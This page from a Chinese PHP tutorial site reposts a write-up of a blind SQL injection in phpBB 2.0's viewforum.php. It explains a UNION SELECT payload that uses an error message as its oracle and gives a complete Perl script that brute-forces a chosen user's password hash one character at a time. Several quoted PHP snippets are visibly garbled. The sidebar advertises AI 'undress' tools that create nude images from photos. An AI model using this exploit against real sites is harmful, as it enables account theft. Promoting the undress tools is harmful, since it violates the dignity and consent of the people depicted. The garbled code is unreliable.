搜尋
首頁後端開發php教程php注入實例_PHP教程

php注入實例_PHP教程

Jul 21, 2016 pm 04:09 PM
php程式碼關於使用完整實例文章注入


php注入實例 在網路上很難看到一篇完整的關於php注入的文章和利用程式碼,於是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋磚引玉!
相信大家對asp的注入已經是十分熟悉了,而對php的注入比asp要困難,因為php的magic_gpc選項確實讓人頭疼,在註入中不要出現引號,而php大多和mysql結合,而mysql的功能上的缺點,從另外一人角度看確在某種程度上防止了sql njection的攻擊,我在這裡就舉一個實例吧,我以phpbb2.0為例:
在viewforum.php中有一個變數沒過濾:
if ( isset($HTTP_GET_VARS{
$forum_id = (URL]) )
{
($HTTP_POST_VARS}
else if ( isset($HTTP_GET_VARS['forum']))
{
$. HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
就是這個forum,而下面直接把它放進了查詢中:>}
就是這個forum,而下面直接把它放進了查詢中:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id"; sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql)
; 🎜>}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

如果是asp的話,相信很多人都會注入瞭如果這個人指定的指定的論壇不存在的話,就會使$result為空,於是返回Could not obtain forums information的信息,於是下面的代碼就不能執行下去了
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

//
// Start session management
//
$userdata = session_start(​​puser_y_ippft_puser_user_ips_y_pot_ipp_user_y_Pg_b; ****************************************

關鍵就是打星號的那一行了,這裡是一個函數session_pagestart($user_ip, $thispage_id),這是在session.php中定義的一個函數,由於代碼太

長,就不全貼出來了,有興趣的可以自已看看,關鍵是這個函數也呼叫了session_begin(),函數呼叫如下session_begin($user_id, $user_ip,

$thispage_id, TRUE)),同樣是在這個檔案中定義的,其中有下列程式碼
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($)) ││ ! $db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_] session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)
VALUES ('$session_id', $pageuser_id, $current_time, $current_time, '$session_id', $pageuser_id, $current_time, $current_time, '$log;
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LE__, __FI % >
$sql);
}


這裡有個session_page在mysql定義的是個整形數,他的値$page_id,也就是$forum_id,如果插入的不是整形就會報錯了,就會出現Error

creating new session : session_begin的提示,所以要指這$forum_id的值很重要,所以我把它指定為:-1 union select 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where user_id=2 and ord(substring(user_password,1,1))=57,沒有引號吧!雖然指定的是一個不存在的forum_id但他返回的查詢結果可不一定是為空,這個就是猜user_id為2的用戶的第一位密碼的ascii碼值是是否為57,如果是的話文章中第一段程式碼中的$result可不為空了,於是就執行了ession_pagestart這個有問題的函數,插入的不是整數當然就要出錯了,於是就顯示Error creating new session : session_begin,就表明你猜對了第一位了,其它位類似.

如果沒有這句出錯訊息的話我想即使注入成功也很難判斷是否已經成功,看來出錯訊息也很有幫助啊.分析就到這裡,下面附上一段測試程式碼,這段程式碼只要稍加修改就能適用於其它類似的猜md5密碼的情況,這裡我用的英文版的返回條件,中文和其它語言的只要改一下返回條件就行了.

use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;

print " ***********************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn" ;
print " www.icehack.comn";
print " ************************n";
print " please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=;
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=;
chomp($u);
print "work starting,please wait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$jfor ($i=0;$i$url=$adr."?forum=-1 union select 1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where%

20user_id=$u and ord(substring(user_password,$ j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request( $request);

if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink [$i]);
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck,work failed!n";}

至於最近的phpbb2.0.6的search.php的問題利用程序只要將上面程式碼稍加修改就行了,如要錯誤請上www.icehack.com指正.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/314566.htmlTechArticlephp注入實例在網路上很難看到一篇完整的關於php注入的文章和利用程式碼,於是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋...
陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
您如何在PHP中創建和使用接口?您如何在PHP中創建和使用接口?Apr 30, 2025 pm 03:40 PM

本文解釋瞭如何創建,實施和使用PHP中的接口,重點關注其對代碼組織和可維護性的好處。

crypt()和password_hash()有什麼區別?crypt()和password_hash()有什麼區別?Apr 30, 2025 pm 03:39 PM

本文討論了PHP中的crypt()和password_hash()的差異,以進行密碼哈希,重點介紹其實施,安全性和對現代Web應用程序的適用性。

如何防止PHP中的跨站點腳本(XSS)?如何防止PHP中的跨站點腳本(XSS)?Apr 30, 2025 pm 03:38 PM

文章討論了通過輸入驗證,輸出編碼以及使用OWASP ESAPI和HTML淨化器之類的工具來防止PHP中的跨站點腳本(XSS)。

PHP中的自動加載是什麼?PHP中的自動加載是什麼?Apr 30, 2025 pm 03:37 PM

自動加載PHP會在需要時自動加載類文件,從而通過減少內存使用和增強代碼組織來提高性能。最佳實踐包括使用PSR-4和有效組織代碼。

什麼是PHP流?什麼是PHP流?Apr 30, 2025 pm 03:36 PM

PHP流通過一致的API來統一資源諸如文件,網絡插座和壓縮格式之類的處理,從而使復雜性抽象並增強代碼靈活性和效率。

可以使用PHP上傳的文件的最大大小是多少?可以使用PHP上傳的文件的最大大小是多少?Apr 30, 2025 pm 03:35 PM

本文討論了在PHP中管理文件上傳大小的管理,重點是2MB的默認限制以及如何通過修改PHP.INI設置來增加它。

PHP中的無效類型是什麼?PHP中的無效類型是什麼?Apr 30, 2025 pm 03:34 PM

本文討論了PHP 7.1中引入的PHP中的無效類型,允許變量或參數為指定類型或NULL。它突出顯示了諸如提高可讀性,類型安全性和明確意圖的好處,並解釋瞭如何聲明

unset()和unlink()函數之間有什麼區別?unset()和unlink()函數之間有什麼區別?Apr 30, 2025 pm 03:33 PM

本文討論了unset()和unlink()功能在編程中的差異,重點關注其目的和用例。 unset()從內存中刪除變量,而unlink()從文件系統中刪除文件。兩者都對效率至關重要

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

PhpStorm Mac 版本

PhpStorm Mac 版本

最新(2018.2.1 )專業的PHP整合開發工具